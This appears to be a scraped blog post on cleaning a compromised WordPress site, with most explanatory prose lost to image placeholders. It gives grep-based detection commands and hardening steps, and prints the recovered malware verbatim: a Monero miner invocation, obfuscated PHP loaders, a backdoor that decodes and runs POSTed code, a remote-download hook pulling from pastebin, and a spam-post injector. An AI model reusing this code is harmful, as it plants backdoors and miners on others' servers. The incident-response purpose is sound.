Effects:

1. www.wordpresssite.com/wp-admin

2. .htaccess

3. Unknown files & folders

4. Random articles in WP POST

5. Random admin users

Steps taken to prevent malware infection :

Image for post

Image for post

500      56861  0.0  0.2 222180 10936 ?        S    Sep23   0:00 /usr/bin/php /public_html/stylewpp.php500      56885  198  0.1  69408  8028 ?        Sl   Sep23 5940:27 ./cnrig -a cryptonight --donate-level 1 --max-cpu-usage 50 -o xmr.pool.minergate.com:45700 -u 4635633@mail.ru -p x --variant 1 -k
Image for post

Image for post

Image for post

Image for post

Image for post

Image for post

Image for post

Image for post

find ./ -type f -mtime -4
find -name index.php -exec rm -rf {} \;
find -name "*.ico"
find -name "*.ico" -exec rm -rf {} \;
<?php
include 'publ\151c_ht\155l/wp\055incl\165des/\122eque\163ts/A\165th/.\0619a92\071b9.i\143o';
find . -type f | egrep './[a-z]{8}\.php'
<?php
find . -type f -name '*.php' | xargs grep -l " *=PHP_VERSION *" 
find . -type f -name '*.php' | xargs grep -l " *Phar::interceptFileFuncs() *"
find . -type f -name '*.php' | xargs grep -l " *@include *" 
find . -type f -name '*.php' | xargs grep -l " *interceptFileFuncs *"
find . -type f -name '*.php' | xargs grep -l " *eval *( *gzinflate *( *base64_decode *( *"
find . -name "*.php" -exec grep -H "eval(" {} \;
find . -type f -name '*.php' | xargs grep -l "eval *("
find . -type f -name '*.php' | xargs grep -l " *base64_decode *"
find . -type f -name '*.php' | xargs grep -l " *function *wscandir *"
find . -type f -name '*.php' | xargs grep -l " *HTTP/1.0 *404 *Not *Found *"
find . -type f -name '*.php' | xargs grep -l " *@gzuncompress *" 
find . -type f -name '*.php' | xargs grep -l " *Array *( *) *; *global *" 
find . -type f -name '*.php' | xargs grep -l " *@unserialize *"
<php
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();@require('wp-admin/A5');
$O_00_0OO_O='10196';$O0O_O__0O0='1';$O___OOO000='1';$OO_0O_00O_=("t1j7n80g4hbcesydpvxuimkf6_olz2a5q-w93r");$O0_00O_OO_=$OO_0O_00O_{16}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{7}.$OO_0O_00O_{25}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{16}.$OO_0O_00O_{27}.$OO_0O_00O_{30}.$OO_0O_00O_{11}.$OO_0O_00O_{12}.$OO_0O_00O_{25}.$OO_0O_00O_{11}.$OO_0O_00O_{30}.$OO_0O_00O_{27}.$OO_0O_00O_{27}.$OO_0O_00O_{10}.$OO_0O_00O_{30}.$OO_0O_00O_{11}.$OO_0O_00O_{22};$OO00_O0__O=$OO_0O_00O_{13}.$OO_0O_00O_{0}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{30}.$OO_0O_00O_{21}.$OO_0O_00O_{25}.$OO_0O_00O_{13}.$OO_0O_00O_{26}.$OO_0O_00O_{11}.$OO_0O_00O_{22}.$OO_0O_00O_{12}.$OO_0O_00O_{0}.$OO_0O_00O_{25}.$OO_0O_00O_{11}.$OO_0O_00O_{27}.$OO_0O_00O_{20}.$OO_0O_00O_{12}.$OO_0O_00O_{4}.$OO_0O_00O_{0};$OO0_0__O0O=$OO_0O_00O_{13}.$OO_0O_00O_{0}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_0O_00O_{30}.$OO_0O_00O_{21}.$OO_0O_00O_{25}.$OO_0O_00O_{7}.$OO_0O_00O_{12}.$OO_0O_00O_{0}.$OO_0O_00O_{25}.$OO_0O_00O_{21}.$OO_0O_00O_{12}.$OO_0O_00O_{0}.$OO_0O_00O_{30}.$OO_0O_00O_{25}.$OO_0O_00O_{15}.$OO_0O_00O_{30}.$OO_0O_00O_{0}.$OO_0O_00O_{30};$O_O_0_00OO=$OO_0O_00O_{13}.$OO_0O_00O_{0}.$OO_0O_00O_{37}.$OO_0O_00O_{12}.$OO_
<?php
include 'publ\151c_ht\155l/wp\055incl\165des/\122eque\163ts/A\165th/.\0619a92\071b9.i\143o';
<?php 
include 'public_html/wp-includes/Requests/Auth/.19a929b9.ico'; 
?>
<?php 
error_reporting(E_ERROR);set_time_limit(0);
if(isset($_POST['880051156510591875071'])){
 $tofile='407.php';
 $a =base64_decode(strtr($_POST['880051156510591875071'], '-_,', '+/=')); 
 $a='<?php '.$a.'?>';
 @file_put_contents($tofile,$a);
 require_once('407.php');
 @unlink($tofile);
 exit;}
?>
1. wp-load-5ba4acb3dcd415ba4acb3dcdc6.php
2. wp-settings-5ba4acb0b6fbb5ba4acb0b7027
185.183.96.159 - - [25/Sep/2018:03:15:45 +0100] "GET /?key=uploadUpdate&url=key=uploadUpdate&url=https%3A%2F%2Fpastebin.com%2Fraw%2FsYtyF6ag&file_name=wp-settings-5bac3e81089ad5bac3e8108a05
 HTTP/1.1" 200 53523 "http://mydomain.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36"185.183.96.159 - - [25/Sep/2018:03:15:45 +0100] "POST /wp-settings-5bac3e81089ad5bac3e8108a05.php HTTP/1.1" 200 7499 "http://mydomain.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36"
key=uploadUpdate&url=https%3A%2F%2Fpastebin.com%2Fraw%2FsYtyF6ag&file_name=wp-settings-5bac3e81089ad5bac3e8108a05
add_action('init', 'wordpress_download');function wordpress_download(){if($_GET['key']=='uploadUpdate'){function wordpress_file_func($path, $data){file_put_contents($path, '<?php /*'.uniqid().'*/ ?>'.$data);}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_GET['url']);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch,CURLOPT_TIMEOUT,60);$data = curl_exec($ch);$dsdsvxz = $data.'';wordpress_file_func($_SERVER["DOCUMENT_ROOT"].'/'.$_GET['file_name'].'.php', $dsdsvxz);}}
if (array_key_exists ('article', $_REQUEST)){$load_path = get_load_path ();require_once ($load_path);print "#loaded wp-load#\n";list ($content, $title) = get_article ();$post_id = wp_insert_post (array('post_title' => $title,'post_content' => $content,'post_status' => 'publish','post_date' => date('Y-m-d H:i:s'),'post_author' => get_admin_id (),'post_type' => 'post','post_category' => array(0)));if ($post_id){$link = get_permalink($post_id);print "#Created post_id: !$post_id!$link!#\n";}else{print "#Unable to create new post#\n";}}echo "#Failed: $post_link#\n";}}?>
Image for post

Image for post

# BEGIN protect xmlrpc.php
<files xmlrpc.php>
order allow,deny
deny from all
</files>
# END protect xmlrpc.php
chmod -R u+rwX,go+rX,go-w /path
find . -type d -exec chmod 755 {} \;
find . -type f -exec chmod 644 {} \;
/wp-content/uploads/revslider/templates/techco-menu/wp-rewrite.php
Image for post

Image for post

Conclusion :

Source: medium.com